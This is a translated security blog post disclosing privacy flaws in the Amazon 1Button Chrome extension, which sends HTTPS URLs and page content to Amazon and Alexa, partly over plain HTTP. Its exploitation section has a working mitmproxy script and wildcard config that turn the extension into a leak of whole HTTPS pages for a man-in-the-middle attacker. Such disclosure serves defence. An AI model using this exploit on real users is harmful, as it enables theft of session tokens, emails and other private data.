Статьи

Завидуете ПРИЗМОЙ? Используйте расширение “Amazon 1 Button” для Chrome, чтобы прослушать все HTTPS-сайты!


tldr:
 Небезопасные надстройки браузера могут утечь весь ваш зашифрованный трафик SSL, включая эксплойты.

Итак, Сноуден выпустил кошку из сумки. Они слушают — новости настолько велики, что федералы  больше не приветствуются в DEFCON.  Но давайте все будем честными — кто не любит заглядывать в чужие секреты? Мы все знаем, как настроить мошенническую точку доступа и использовать ettercap. Создание собственной стены овец  тривиально . Я думаю, что мы можем с уверенностью предположить —  трафик в виде открытого текста очень легко подслушивать и изменять .

Реальная сделка, однако, заключается в зашифрованном трафике. В мире браузера это означает, что  все сочные вещи отправляются через HTTPS . Хотя перехват HTTPS-соединений возможен, мы можем сделать это только через: 

  • взлом CA
  • социальная инженерия (установить сертификат) 
  • полагаться на синдром кликов для предупреждений SSL

Слишком сложно. Давайте попробуем несколько побочных каналов. Позвольте мне показать вам, как вы можете  просматривать все данные , зашифрованные с помощью SSL , с помощью  приложения Amazon 1Button,  установленного в браузерах ваших жертв. 

ИНФОРМАЦИЯ О РАСШИРЕНИИ


Версия: 3.2013.627.0

Обновлено: 28 июня 2013 г.
1 791 011  пользователей (страшно, потому что расширению нужны следующие разрешения):

AMAZON ЗАБОТАЕТ О ВАШЕЙ КОНФИДЕНЦИАЛЬНОСТИ … НЕ


Во-первых, немного информации о том, как это нарушает вашу конфиденциальность, если вы уже используете его (tldr; удалите СЕЙЧАС!).
Происходит несколько интересных вещей (все они не требуют взаимодействия с пользователем и основаны на настройках по умолчанию):

Он сообщает Amazon каждый URL, который вы посещаете, даже HTTPS.

GET /gp/bit/apps/web/SIA/scraper?url=https://gist.github.com/ HTTP/1.1
Host: www.amazon.com
Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36
Referer: https://gist.github.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8,pl;q=0.6
Cookie: lots-of-amazon-cookies

К сожалению, этот запрос идет по HTTPS, поэтому только Amazon может знать ваши URL. Возможно, вы захотите взглянуть на версию расширения Firefox (подсказка, подсказка).

Это против того, что они утверждают в своей  Политике конфиденциальности :


Amazon Browser Apps также может собирать информацию о веб-сайтах, которые вы просматриваете, 
но эта информация не связана с вашей учетной записью Amazon  или не идентифицирована с вами. 

Ну, запрос на https://www.amazon.com/gp/bit/apps/web/SIA/scraper?url=https://gist.github.com/ отправляет много моих файлов cookie Amazon, не так ли? ? Но это только начало.

Amazon XSS-es каждый посещаемый вами сайт

Так называемая особенность расширения SIA заключается в следующем: 

// main.js in extension code
chrome.tabs.onUpdated.addListener(function(tabId, changeInfo, tab) {
    if (siaEnabled && changeInfo.status === 'complete') {
        Logger.log('Injecting SIA');
        storage.get('options.ubp_root', function(options_root) {
            var root = options_root['options.ubp_root']
            chrome.tabs.executeScript(null, { code: "(function() { var s = document.createElement('script'); s.src = \"" + root + "/gp/bit/apps/web/SIA/scraper?url=\" + document.location.href; document.body.appendChild(s);}());" });
        });
    }
});

Таким образом, он прикрепляет внешний <script> на любом веб-сайте, и его код может быть привязан к точному URL-адресу страницы. Честно говоря, в настоящее время скрипт для всех протестированных сайтов является просто безвредной функцией.

HTTP/1.1 200 OK
Server: nginx
Date: Thu, 11 Jul 2013 11:14:34 GMT
Content-Type: text/javascript; charset=UTF-8
...
  
(function(window,document){})(window,document);

Так что это похоже на то, как ниндзя отправляется в каждый дом, который просто ждет дальнейших заказов. / мне все равно это не нравится. Кто знает, какие сайты модифицируются, может, это зависит от вашего местоположения, Amazon ID и т. Д.

Он сообщает содержание определенных веб-сайтов, которые вы посещаете в Alexa

Да, не только URL. Например, ваш поиск в Google по HTTPS, и несколько первых результатов теперь известны и Алексе.

POST http://widgets.alexa.com/traffic/rankr/?ref=https%3A%2F%2Fwww.google.pl%2Fsearch%3F...t%2526q%253Dhow%252Bto%252Boverthrow%252Ba%252Bgovernment... HTTP/1.1
Host: widgets.alexa.com
Proxy-Connection: keep-alive
Content-Length: 662
accept: application/xml
Origin: chrome-extension://pbjikboenpfhbbejgkoklgkhjpfogcam
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36
Content-Type: text/plain; charset=UTF-8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8,pl;q=0.6
Cookie: aid=JRDTh1rpFM00ES
 
http://rense.com/general50/hwt.htm
http://en.wikipedia.org/wiki/Coup_d'%C3%A9tat
http://www.law.cornell.edu/uscode/text/18/2385
http://www.thefreedictionary.com/overthrow
http://io9.com/5574009/how-to-overthrow-the-government-tips-from-10-science-fiction-revolutionaries
http://williamblum.org/essays/read/overthrowing-other-peoples-governments-the-master-list
http://www.telegraph.co.uk/news/worldnews/northamerica/usa/9504380/US-soldiers-plotted-to-overthrow-government.html
http://ariannaonline.huffingtonpost.com/books/overthrow/
http://www.amazon.com/How-Overthrow-Government-Arianna-Huffington/dp/B000C4SYPC
http://codes.lp.findlaw.com/uscode/18/I/115/2385

Вот примерный поиск Google и просмотр того, что было отправлено через прокси. 

 
 

Обратите внимание на то, что URL-адрес и извлеченная информация о странице  передаются по HTTP-  адресу. Таким образом, злоумышленники могут получить доступ к информации, которую расширение настроено для отправки в Alexa.

Итог — Амазонка это зло. 

AMAZON, ВЫ ПРОСТО …. ТОЛЬКО ?!

Однако реальная проблема заключается в том, что злоумышленники могут активно использовать описанные функции расширения для кражи вашей информации, например, для получения доступа к URL-адресам HTTPS и содержимому страницы. Расширение динамически настраивается путем извлечения информации из Amazon. А именно, после установки (а затем периодически) он запрашивает и обрабатывает два файла конфигурации. Примерный конфиг представлен ниже: 

// httpsdatalist.dat
[
  "https:[/]{2}(www[0-9]?|encrypted)[.](l.)?google[.].*[/]"
]
// search_conf.js
{
  "google" : {
    "urlexp" : "http(s)?:\\/\\/www\\.google\\..*\\/.*[?#&]q=([^&]+)",
    "rankometer" :  {
      "url"   :"http(s)?:\\/\\/(www(|[0-9])|encrypted)\\.(|l\\.)google\\..*\\/",
      "reload": true,
      "xpath" : {
        "block": [
          "//div/ol/li[ contains( concat( ' ', normalize-space(@class), ' ' ),concat( ' ', 'g', ' ' ) ) ]",
          "//div/ol/li[ contains( concat( ' ', normalize-space(@class), ' ' ),concat( ' ', 'g', ' ' ) ) ]",
          "//div/ol/li[ contains( concat( ' ', normalize-space(@class), ' ' ),concat( ' ', 'g', ' ' ) ) ]"
        ],
        "insert" : [
          "./div/div/div/cite",
          "./div/div[ contains( concat( ' ', normalize-space(@class), ' ' ),concat( ' ', 'kv', ' ' ) ) ]/cite",
          "./div/div/div/div[ contains( concat( ' ', normalize-space(@class), ' ' ),concat( ' ', 'kv', ' ' ) ) ]/cite"
        ],
        "target" : [
          "./div/h3[ contains( concat( ' ', normalize-space(@class), ' '), ' r ')]/descendant::a/@href",
          "./h3[ contains( concat( ' ', normalize-space(@class), ' '), ' r ')]/descendant::a/@href",
          "./div/h3[ contains( concat( ' ', normalize-space(@class), ' '), ' r ')]/descendant::a/@href"
        ]
      }
    },
    ...
  },
  ...

Первый файл определяет, какие HTTPS-сайты можно проверять. Второй файл определяет шаблоны URL, которые нужно отслеживать, и   выражения XPath для извлечения контента, о котором сообщается в Alexa. Файлы извлекаются из этих URL: 

Да. Конфигурация для сообщения о крайне закрытых данных  отправляется через открытый текст HTTP . WTF, Амазонка?

EXPLOITATION

Использовать это очень просто:

  1. Настройте / смоделируйте HTTP man-in-the-middle
  2. Прослушивать HTTP-запросы для вышеуказанных файлов конфигурации
  3. Ответ с подстановочной конфигурацией (прослушать все  https: // сайты и извлечь все тело)
  4. Записывайте все HTTP-запросы подзапроса в Alexa, собирая ранее зашифрованные клиентские веб-страницы.

Для демонстрации я  создал  скрипт mitmproxy, который преобразует расширение Amazon 1Button Chrome в прозрачный HTTPS-> HTTP-прокси для  бедного человека .

#!/usr/bin/env python
 
def start(sc):
    sc.log("Amazon One Click pwner started")
 
def response(sc, f):
    if f.request.path.startswith('/gp/bit/toolbar/3.0/toolbar/search_conf.js'):
        f.response.decode() # removes gzip header
        f.response.content = open('pwn.json','r').read()
    elif f.request.path.startswith('/gp/bit/toolbar/3.0/toolbar/httpsdatalist.dat'):
        f.response.decode() # removes gzip header
        f.response.content = '["https://"]' # log'em all
 
 
def request(sc, f):
    if f.request.path.startswith('/traffic/rankr/'):
        q = f.request.get_query()
        p = q.get_first('ref')
        if p and f.request.content:
            c = open('pwn.log', 'a')
            c.write(p + "\n" + f.request.get_decoded_content() + "\n============\n")
            c.close()

и бесплатный pwn.json:

{
  "pwn" : {
    "urlexp" : "http(s)?:\\/\\/",
    "rankometer" :  {
      "url"   :"http(s)?:\\/\\/",
      "reload": true,
      "xpath" : {
        "block": [
          "//html"
        ],
        "insert" : [
          "//html"
        ],
        "target" : [
          "//html"
         ]
      }
    },
    "cba" : {
        "url"   :"http(s)?:\\/\\/",
        "reload": true
    }
  }
}

Чтобы начать атаку, просто направьте весь трафик HTTP (порт 80) на mitmproxy и запустите скрипт: 

$ mitmproxy -s pwn.py

Теперь установите расширение в Chrome (или отключите и включите его для быстрой перезагрузки конфигурации) и начните просмотр. Все захваченные данные HTTPS будут в файле pwn.log. 

ОГРАНИЧЕНИЯ

  • Мы ограничены выражениями XPath для извлечения контента, поэтому я не могу вернуть обычный источник HTML, не могу получить доступ к заголовкам и т. Д. Самое близкое, что я получил, — это строковое значение узла // html, которое в некоторой степени является содержимым всех текстовых узлов. на странице
  • Отслеживание приложений AJAX работает плохо, так как расширение не сообщает XMLHttpRequestresponses
  • Мы только пассивно слушаем, нет возможности изменить трафик 

Тем не менее, есть много частной информации в захваченном трафике. Токены CSRF, идентификаторы сессий, содержимое электронной почты, содержимое документа на Google Диске, вы называете это имя. Спасибо, Amazon, за защиту моей конфиденциальности. А если серьезно — перенесите весь свой дополнительный трафик только на HTTPS. А еще лучше удалить код отслеживания.

Я провел другие исследования  безопасности расширений Google Chrome , читайте больше, если вы нашли эту тему интересной.